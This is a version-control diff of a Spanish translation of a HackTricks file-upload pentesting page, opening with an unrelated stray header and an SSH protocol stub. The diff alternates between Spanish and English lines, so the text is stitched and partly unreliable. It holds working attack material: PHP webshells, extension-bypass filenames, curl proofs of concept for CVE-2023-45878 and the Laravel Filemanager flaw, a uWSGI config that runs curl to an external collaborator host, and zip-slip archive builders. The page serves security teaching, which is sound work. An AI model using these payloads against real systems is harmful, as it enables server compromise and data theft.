## Comandos Automáticos de HackTricks
## HackTricks Comandos automáticos
```
Protocol_Name: SSH
Port_Number: 22

216
src/pentesting-web/file-upload/README.md
View File

@ -1,10 +1,10 @@
# Carga de archivos
# Subida de archivos
{{#include ../../banners/hacktricks-training.md}}
## Metodología general de File Upload
Other useful extensions:
Otras extensiones útiles:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
@ -15,13 +15,13 @@ Other useful extensions:
- **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_
### Evadir comprobaciones de extensiones de archivo
### Bypass file extensions checks
1. Si aplican, **revisa** las **extensiones anteriores.** También pruébalas usando algunas **letras mayúsculas**: _pHp, .pHP5, .PhAr ..._
1. Si aplican, **comprueba** las **extensiones anteriores.** También pruébalas usando algunas **letras mayúsculas**: _pHp, .pHP5, .PhAr ..._
2. _Comprueba **añadir una extensión válida antes** de la extensión de ejecución (usa también las extensiones anteriores):_
- _file.png.php_
- _file.png.Php5_
3. Prueba añadir **caracteres especiales al final.** Puedes usar Burp para hacer **bruteforce** de todos los caracteres **ASCII** y **Unicode**. (_Nota que también puedes intentar usar las **extensiones** mencionadas anteriormente_)
3. Intenta añadir **caracteres especiales al final.** Puedes usar Burp para hacer **bruteforce** de todos los caracteres **ascii** y **Unicode**. (_Ten en cuenta que también puedes intentar usar las **extensiones** mencionadas **anteriormente**_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@ Other useful extensions:
- _file._
- _file.php...._
- _file.pHp5...._
4. Intenta evadir las protecciones **engañando al parser de extensiones** del servidor con técnicas como **duplicar** la **extensión** o **añadir datos basura** (bytes **null**) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar un payload más efectivo._
4. Intenta eludir las protecciones **engañando al extension parser** del lado servidor con técnicas como **doubling** la **extension** o **adding junk** data (bytes **null**) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar un payload mejor._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,13 +40,13 @@ Other useful extensions:
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. Añade **otra capa de extensiones** al chequeo anterior:
5. Añade **otra capa de extensiones** a la comprobación anterior:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Intenta poner la **extensión ejecutable antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar misconfiguraciones de Apache donde cualquier cosa con la extensión **_.php_**, aunque no necesariamente terminando en .php, ejecutará código):
6. Intenta poner la **exec extension before the valid extension** y reza para que el servidor esté mal configurado. (útil para explotar misconfiguraciones de Apache donde cualquier cosa con extensión **.php**, aunque no termine necesariamente en .php, ejecutará código):
- _ex: file.php.png_
7. Usando **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter dos puntos ":" después de una extensión prohibida y antes de una permitida. Como resultado, se creará un **archivo vacío con la extensión prohibida** en el servidor (p. ej. "file.asax:.jpg”). Este archivo podría editarse más tarde usando otras técnicas como su short filename. El patrón "**::$data**” también puede usarse para crear archivos no vacíos. Por lo tanto, añadir un punto después de este patrón podría ser útil para evadir restricciones adicionales (p. ej. "file.asp::$data.”)
8. Intenta romper los límites de longitud del nombre de archivo. La extensión válida se corta. Y el PHP malicioso queda. AAA<--SNIP-->AAA.php
7. Uso de **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter dos puntos ":" después de una extensión prohibida y antes de una permitida. Como resultado, se creará en el servidor un **archivo vacío con la extensión prohibida** (p.ej. "file.asax:.jpg"). Este archivo podría ser editado más tarde usando otras técnicas como su short filename. El patrón "**::$data**” también puede usarse para crear archivos no vacíos. Por lo tanto, añadir un punto después de este patrón puede ser útil para eludir restricciones adicionales (p.ej. "file.asp::$data.")
8. Intenta romper los límites de nombre de archivo. La extensión válida se corta y queda el PHP malicioso. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
@ -61,10 +61,10 @@ AAA<--SNIP 232 A-->AAA.php.png
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
Algunos handlers de upload recortan o normalizan los caracteres de punto finales del nombre de archivo guardado. En UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versiones anteriores a 2.9.1, puedes evadir la validación de extensión:
Algunos manejadores de upload recortan o normalizan los caracteres de punto final (trailing dot) del nombre de archivo guardado. En UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versiones anteriores a 2.9.1, puedes eludir la validación de extensiones mediante:
- Usando un MIME válido de imagen y el header mágico correspondiente (p. ej., el header de PNG `\x89PNG\r\n\x1a\n`).
- Nombrando el archivo subido con una extensión PHP seguida de un punto, p. ej., `shell.php.`.
- Usar un MIME de imagen válido y el magic header correspondiente (p. ej., el `\x89PNG\r\n\x1a\n` de PNG).
- Nombrar el archivo subido con una extensión PHP seguida de un punto, p. ej., `shell.php.`.
- El servidor elimina el punto final y persiste `shell.php`, que se ejecutará si se coloca en un directorio servido por la web (almacenamiento público por defecto como `/storage/files/`).
PoC mínimo (Burp Repeater):
@ -84,61 +84,62 @@ Luego accede a la ruta guardada (típico en Laravel + LFM):
```
GET /storage/files/0xdf.php?cmd=id
```
Mitigations:
- Actualizar unisharp/laravel-filemanager a ≥ 2.9.1.
- Aplicar allowlists estrictas en el servidor y revalidar el nombre de archivo persistido.
- Servir las subidas desde ubicaciones no ejecutables.
Mitigaciones:
- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1.
- Enforce strict server-side allowlists and re-validate the persisted filename.
- Serve uploads from non-executable locations.
### Eludir Content-Type, Magic Number, Compression & Resizing
### Bypass Content-Type, Magic Number, Compression & Resizing
- Eludir las comprobaciones de **Content-Type** estableciendo el **valor** del **header** **Content-Type** a: _image/png_ , _text/plain , application/octet-stream_
- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Eludir la comprobación de **magic number** añadiendo al comienzo del archivo los **bytes de una imagen real** (confundir el comando _file_). O introducir el shell dentro de los **metadatos**:\
- Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` or you could also **introduce the payload directly** in an image:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Si se está añadiendo **compresión** a tu imagen, por ejemplo usando algunas bibliotecas PHP estándar como [PHP-GD](https://www.php.net/manual/fr/book.image.php), las técnicas previas no serán útiles. Sin embargo, podrías usar el **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**.
- If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- La página web también podría estar **redimensionando** la **imagen**, usando por ejemplo las funciones PHP-GD `imagecopyresized` o `imagecopyresampled`. Sin embargo, podrías usar el **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**.
- The web page could also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Otra técnica para crear una carga útil que **sobrevive al redimensionado de una imagen**, usando la función PHP-GD `thumbnailImage`. Sin embargo, podrías usar el **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**.
- Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Otros trucos para comprobar
### Other Tricks to check
- Encontrar una vulnerabilidad para **renombrar** el archivo ya subido (para cambiar la extensión).
- Encontrar una vulnerabilidad de **Local File Inclusion** para ejecutar el backdoor.
- **Posible divulgación de información**:
1. Subir **varias veces** (y al **mismo tiempo**) el **mismo archivo** con el **mismo nombre**
2. Subir un archivo con el **nombre** de un **archivo** o **carpeta** que **ya existe**
3. Subir un archivo con **"." , "..”, o "…” como nombre**. Por ejemplo, en Apache en **Windows**, si la aplicación guarda los archivos subidos en el directorio "/www/uploads/” , el nombre "." creará un archivo llamado "uploads” en el directorio "/www/”.
4. Subir un archivo que puede no borrarse fácilmente como **"…:.jpg”** en **NTFS**. (Windows)
5. Subir un archivo en **Windows** con **caracteres inválidos** como `|<>*?”` en su nombre. (Windows)
6. Subir un archivo en **Windows** usando nombres **reservados** (**prohibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, y LPT9.
- Intenta también subir un ejecutable (.exe) o un **.html** (menos sospechoso) que **ejecute código** cuando la víctima lo abra accidentalmente.
- Find a vulnerability to **rename** the file already uploaded (to change the extension).
- Find a **Local File Inclusion** vulnerability to execute the backdoor.
- **Possible Information disclosure**:
1. Upload **several times** (and at the **same time**) the **same file** with the **same name**
2. Upload a file with the **name** of a **file** or **folder** that **already exists**
3. Uploading a file with **"." , "..", or "…" as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in "/www/uploads/" directory, the "." filename will create a file called
uploads” in the "/www/" directory.
4. Upload a file that may not be deleted easily such as **"…:.jpg"** in **NTFS**. (Windows)
5. Upload a file in **Windows** with **invalid characters** such as `|<>*?”` in its name. (Windows)
6. Upload a file in **Windows** using **reserved** (**forbidden**) **names** such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Try also to **upload an executable** (.exe) or an **.html** (less suspicious) that **will execute code** when accidentally opened by victim.
### Trucos con extensiones especiales
### Special extension tricks
Si intentas subir archivos a un servidor **PHP**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Si intentas subir archivos a un servidor **ASP**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Los archivos `.phar` son como los `.jar` para Java, pero para PHP, y pueden **usarse como un archivo php** (ejecutándolos con php, o incluyéndolos dentro de un script...).
The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...)
La extensión `.inc` a veces se usa para archivos PHP que solo se utilizan para **importar archivos**, por lo que, en algún punto, alguien podría haber permitido **que esta extensión se ejecute**.
The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
## **Jetty RCE**
Si puedes subir un archivo XML a un servidor Jetty puedes obtener [RCE porque **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la imagen siguiente, sube el archivo XML a `$JETTY_BASE/webapps/` y ¡espera la shell!
If you can upload a XML file into a Jetty server you can obtain [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
Para una exploración detallada de esta vulnerabilidad consulta la investigación original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Las vulnerabilidades de Remote Command Execution (RCE) pueden explotarse en servidores uWSGI si se tiene la capacidad de modificar el archivo de configuración `.ini`. Los archivos de configuración de uWSGI usan una sintaxis específica para incorporar variables "mágicas", placeholders y operadores. En particular, el operador '@', utilizado como `@(filename)`, está diseñado para incluir el contenido de un archivo. Entre los distintos schemes soportados en uWSGI, el scheme "exec" es especialmente potente, permitiendo leer datos desde la salida estándar de un proceso. Esta característica puede manipularse con fines maliciosos como Remote Command Execution o escritura/lectura arbitraria de archivos cuando se procesa un archivo de configuración `.ini`.
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
Considera el siguiente ejemplo de un archivo `uwsgi.ini` malicioso, mostrando varios schemes:
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
```ini
[uwsgi]
; read from a symbol
@ -156,15 +157,54 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
La ejecución del payload ocurre durante el análisis del archivo de configuración. Para que la configuración se active y sea parseada, el proceso uWSGI debe reiniciarse (potencialmente tras un crash o debido a un Denial of Service) o el archivo debe estar configurado para auto-reload. La funcionalidad de auto-reload, si está habilitada, recarga el archivo en intervalos especificados al detectar cambios.
La ejecución del payload ocurre durante el parseo del archivo de configuración. Para que la configuración se active y sea parseada, el proceso uWSGI debe ser reiniciado (potencialmente tras un crash o debido a un Denial of Service attack) o el archivo debe estar configurado en auto-reload. La función de auto-reload, si está habilitada, recarga el archivo a intervalos especificados al detectar cambios.
Es crucial entender la laxitud en el análisis del archivo de configuración de uWSGI. Específicamente, el payload mencionado puede insertarse en un archivo binario (como una imagen o un PDF), ampliando aún más el alcance de la posible explotación.
Es crucial entender la laxitud del parseo del archivo de configuración de uWSGI. Específicamente, el payload mencionado puede insertarse en un archivo binario (como una imagen o PDF), ampliando aún más el alcance de la explotación potencial.
### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
Un endpoint no autenticado en Gibbon LMS permite arbitrary file write dentro del web root, lo que conduce a pre-auth RCE al dejar un archivo PHP. Versiones vulnerables: hasta e incluyendo 25.0.01.
- Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
- Método: POST
- Parámetros requeridos:
- `img`: cadena tipo data-URI: `[mime];[name],[base64]` (el servidor ignora type/name, decodifica en base64 la cola)
- `path`: nombre de archivo de destino relativo al directorio de instalación de Gibbon (por ejemplo, `poc.php` o `0xdf.php`)
- `gibbonPersonID`: cualquier valor no vacío es aceptado (por ejemplo, `0000000001`)
Minimal PoC to write and read back a file:
```bash
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK
# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
# Verify write
curl http://target/Gibbon-LMS/poc.php
```
Sube un webshell mínimo y ejecuta comandos:
```bash
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
```
Notas:
- El manejador ejecuta `base64_decode($_POST["img"])` después de dividir por `;` y `,`, luego escribe los bytes en `$absolutePath . '/' . $_POST['path']` sin validar la extensión/tipo.
- El código resultante se ejecuta como el usuario del servicio web (p. ej., XAMPP Apache en Windows).
Las referencias para este bug incluyen el advisory de usd HeroLab y la entrada en NVD. Ver la sección References más abajo.
## **wget File Upload/SSRF Trick**
En algunas ocasiones puedes encontrar que un servidor está usando **`wget`** para **descargar archivos** y puedes **indicar** la **URL**. En estos casos, el código puede estar comprobando que la extensión de los archivos descargados está dentro de una whitelist para asegurar que solo se descarguen archivos permitidos. Sin embargo, **esta comprobación puede eludirse.**\
La **longitud máxima** de un **nombre de archivo** en **linux** es **255**, sin embargo, **wget** trunca los nombres de archivo a **236** caracteres. Puedes **download a file called "A"\*232+".php"+".gif"**, este nombre de archivo **bypass** la **comprobación** (ya que en este ejemplo **".gif"** es una extensión **válida**) pero `wget` renombrará el archivo a **"A"\*232+".php"**.
En algunas ocasiones puedes encontrar que un servidor está usando **`wget`** para **descargar archivos** y puedes **indicar** la **URL**. En esos casos, el código puede estar comprobando que la extensión de los archivos descargados esté dentro de una lista blanca para asegurarse de que solo se vayan a descargar archivos permitidos. Sin embargo, **esta comprobación se puede eludir.**\
La **longitud máxima** de un **nombre de archivo** en **linux** es **255**, sin embargo, **wget** trunca los nombres a **236** caracteres. Puedes **descargar un archivo llamado "A"*232+".php"+".gif"**, este nombre de archivo **eludirá** la **comprobación** (ya que en este ejemplo **".gif"** es una **extensión válida**) pero `wget` **renombrará** el archivo a **"A"*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -187,35 +227,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
Tenga en cuenta que **otra opción** en la que puede estar pensando para bypassear este check es hacer que el **HTTP server redirija a un fichero diferente**, de modo que la URL inicial pase el check y luego wget descargue el fichero redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se use con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre del fichero indicado en la URL original**.
Ten en cuenta que **otra opción** que podrías estar considerando para eludir esta comprobación es hacer que el **servidor HTTP redirija a un archivo distinto**, de modo que la URL inicial eluda la comprobación y entonces wget descargue el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se esté usando con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre del archivo indicado en la URL original**.
## Tools
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) es una herramienta potente diseñada para ayudar a Pentesters y Bug Hunters a probar mecanismos de upload de ficheros. Aprovecha varias técnicas de bug bounty para simplificar el proceso de identificación y explotación de vulnerabilidades, asegurando evaluaciones exhaustivas de aplicaciones web.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) es una herramienta potente diseñada para ayudar a Pentesters y Bug Hunters a probar mecanismos de file upload. Aprovecha varias técnicas de bug bounty para simplificar el proceso de identificar y explotar vulnerabilidades, garantizando evaluaciones exhaustivas de aplicaciones web.
### Corrupting upload indices with snprintf quirks (historical)
Algunos handlers de upload legacy que usan `snprintf()` o funciones similares para construir arrays multi-file a partir de un upload de un solo fichero pueden ser engañados para forjar la estructura `_FILES`. Debido a inconsistencias y truncamientos en el comportamiento de `snprintf()`, un upload cuidadosamente construido de un solo fichero puede aparecer como múltiples ficheros indexados en el lado del servidor, confundiendo lógica que asume una forma estricta (por ejemplo, tratándolo como un upload multi-file y tomando ramas inseguras). Aunque hoy en día es algo niche, este patrón de “index corruption” ocasionalmente resurge en CTFs y bases de código antiguas.
Algunos handlers de upload legacy que usan `snprintf()` o similares para construir arrays multi-file a partir de una subida de un solo archivo pueden ser engañados para forjar la estructura `_FILES`. Debido a inconsistencias y truncamiento en el comportamiento de `snprintf()`, una subida única cuidadosamente construida puede aparecer como múltiples archivos indexados en el lado del servidor, confundiendo la lógica que asume una forma estricta (p. ej., tratándola como una subida multi-file y tomando ramas inseguras). Aunque hoy en día es un caso nicho, este patrón de “index corruption” reaparece ocasionalmente en CTFs y bases de código antiguas.
## From File upload to other vulnerabilities
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
- Establece **filename** a `../../../tmp/lol.png` e intenta lograr un **path traversal**
- Establece **filename** a `sleep(10)-- -.jpg` y podrías lograr una **SQL injection**
- Establece **filename** a `<svg onload=alert(document.domain)>` para conseguir un XSS
- Establece **filename** a `; sleep 10;` para probar alguna command injection (más [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- Prueba **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
- Si puedes **indicar al servidor web que obtenga una imagen desde una URL** podrías intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/index.html). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podrías indicar una URL de [https://iplogger.org/invisible/] y **robar información de cada visitante**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
- Check if there is any **size limit** uploading files
- PDFs especialmente creados para XSS: La [página siguiente presenta cómo **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Si puedes subir PDFs podrías preparar algún PDF que ejecute JS arbitrario siguiendo las indicaciones dadas.
- Sube el contenido \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para comprobar si el servidor tiene algún **antivirus**
- Comprueba si existe algún **límite de tamaño** al subir archivos
Aquí hay una lista top 10 de cosas que puedes lograr subiendo ficheros (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Aquí tienes una lista top 10 de cosas que puedes lograr subiendo archivos (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -240,15 +280,15 @@ https://github.com/portswigger/upload-scanner
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
Consulta [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para otros tipos de archivo.
## Zip/Tar File Automatically decompressed Upload
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
Si puedes subir un ZIP que se vaya a descomprimir dentro del servidor, puedes hacer 2 cosas:
### Symlink
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
Sube un ZIP que contenga enlaces simbólicos a otros archivos; al acceder a los archivos descomprimidos accederás a los archivos enlazados:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -256,23 +296,24 @@ tar -cvf test.tar symindex.txt
```
### Descomprimir en diferentes carpetas
La creación inesperada de archivos en directorios durante la descompresión es un problema significativo. A pesar de las suposiciones iniciales de que esta configuración podría proteger contra OS-level command execution mediante subidas de archivos maliciosos, el soporte de compresión jerárquica y las capacidades de directory traversal del formato de archivo ZIP pueden ser explotadas. Esto permite a los atacantes evadir restricciones y escapar de los directorios de subida seguros manipulando la funcionalidad de descompresión de la aplicación objetivo.
La creación inesperada de archivos en directorios durante la descompresión es un problema importante. A pesar de las suposiciones iniciales de que esta configuración podría proteger contra la ejecución de comandos a nivel del sistema operativo mediante cargas de archivos maliciosos, el soporte de compresión jerárquica y las capacidades de directory traversal del formato de archivo ZIP pueden ser explotadas. Esto permite a los atacantes eludir restricciones y escapar de los directorios de carga seguros manipulando la funcionalidad de descompresión de la aplicación objetivo.
Un exploit automatizado para crear dichos archivos está disponible en [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). La utilidad puede usarse como se muestra:
Un exploit automatizado para crear tales archivos está disponible en [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). La utilidad puede utilizarse como se muestra:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Además, la **symlink trick with evilarc** es una opción. Si el objetivo es apuntar a un archivo como `/flag.txt`, debería crearse un symlink a ese archivo en tu sistema. Esto asegura que evilarc no encuentre errores durante su operación.
Además, la **symlink trick with evilarc** es una opción. Si el objetivo es apuntar a un archivo como `/flag.txt`, debe crearse un symlink a ese archivo en tu sistema. Esto asegura que evilarc no encuentre errores durante su operación.
A continuación hay un ejemplo de Python code usado para crear un archivo zip malicioso:
A continuación hay un ejemplo de código Python usado para crear un archivo zip malicioso:
```python
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
@ -285,11 +326,11 @@ zip.close()
create_zip()
```
**Abusing compression for file spraying**
**Abusar de la compresión para file spraying**
Para más detalles **consulta la entrada original en**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
Para más detalles **revisa la entrada original en**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Creating a PHP Shell**: Se escribe código PHP para ejecutar comandos enviados a través de la variable `$_REQUEST`.
1. **Creando un PHP Shell**: Se escribe código PHP para ejecutar comandos pasados a través de la variable `$_REQUEST`.
```php
<?php
@ -299,18 +340,18 @@ system($cmd);
}?>
```
2. **File Spraying and Compressed File Creation**: Se crean varios archivos y se ensambla un zip que contiene esos archivos.
2. **File Spraying y creación de archivo comprimido**: Se crean múltiples archivos y se ensambla un archivo zip que contiene estos archivos.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modification with a Hex Editor or vi**: Se modifican los nombres de los archivos dentro del zip usando vi o un editor hexadecimal, cambiando "xxA" por "../" para traversar directorios.
3. **Modificación con un hex editor o vi**: Se alteran los nombres de los archivos dentro del zip usando vi o un hex editor, cambiando "xxA" por "../" para recorrer directorios.
```bash
:set modifiable
:%s/xxA/..\//g
:%s/xxA/../g
:x!
```
@ -325,31 +366,31 @@ pop graphic-context
```
## Incrustar PHP Shell en PNG
